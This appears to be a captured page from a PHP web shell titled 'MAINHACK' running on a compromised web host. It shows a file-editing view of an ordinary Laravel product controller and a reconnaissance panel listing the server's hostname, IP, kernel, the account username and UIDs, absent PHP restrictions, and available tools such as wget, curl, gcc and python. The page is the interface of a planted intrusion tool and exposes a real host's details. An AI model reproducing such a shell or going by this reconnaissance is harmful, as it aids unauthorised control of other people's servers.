[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ProductController.php
<?php namespace App\Http\Controllers\Api\Web; use App\Http\Controllers\Api\Controller; use App\Http\Resources\ProductResource; use App\Mixins\Cashback\CashbackRules; use App\Models\AdvertisingBanner; use App\Models\Api\Product; use App\Models\Follow; use App\Models\ProductCategory; use App\Models\ProductSelectedSpecification; use Illuminate\Http\Request; class ProductController extends Controller { public function index(Request $request) { $data = $request->all(); $products = Product::where('products.status', Product::$active) ->where('ordering', true)->handleFilters()->get(); if (!empty($data['category_id'])) { $selectedCategory = ProductCategory::where('id', $data['category_id'])->first(); } return apiResponse2(1, 'retrieved', trans('api.public.retrieved'), [ 'products' => ProductResource::collection($products), ]); } public function show($id) { $user = apiAuth(); $product = Product::where('status', Product::$active) ->where('id', $id) ->with([ 'selectedSpecifications' => function ($query) { $query->where('status', ProductSelectedSpecification::$Active); $query->with(['specification']); }, 'comments' => function ($query) { $query->where('status', 'active'); $query->whereNull('reply_id'); $query->with([ 'replies' => function ($query) { $query->where('status', 'active'); } ]); $query->orderBy('created_at', 'desc'); }, 'files' => function ($query) { $query->where('status', 'active'); $query->orderBy('order', 'asc'); }, 'reviews' => function ($query) { $query->where('status', 'active'); $query->with([ 'comments' => function ($query) { $query->where('status', 'active'); }, ]); }, ]) ->first(); if (empty($product)) { abort(404); } $selectableSpecifications = $product->selectedSpecifications->where('allow_selection', true) ->where('type', 'multi_value'); $selectedSpecifications = $product->selectedSpecifications->where('allow_selection', false); $seller = $product->creator; $cashbackRules = null; if (!empty($product->price) and getFeaturesSettings('cashback_active') and (empty($user) or !$user->disable_cashback)) { $cashbackRulesMixin = new CashbackRules($user); $cashbackRules = $cashbackRulesMixin->getRules('store_products', $product->id, $product->type, $product->category_id, $product->creator_id); } $product->cashbackRules = $cashbackRules; $resource = new ProductResource($product); $resource->show = true; return apiResponse2(1, 'retrieved', trans('api.public.retrieved'), [ 'product' =>$resource , ]); return view(getTemplate() . '.products.show', $data); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285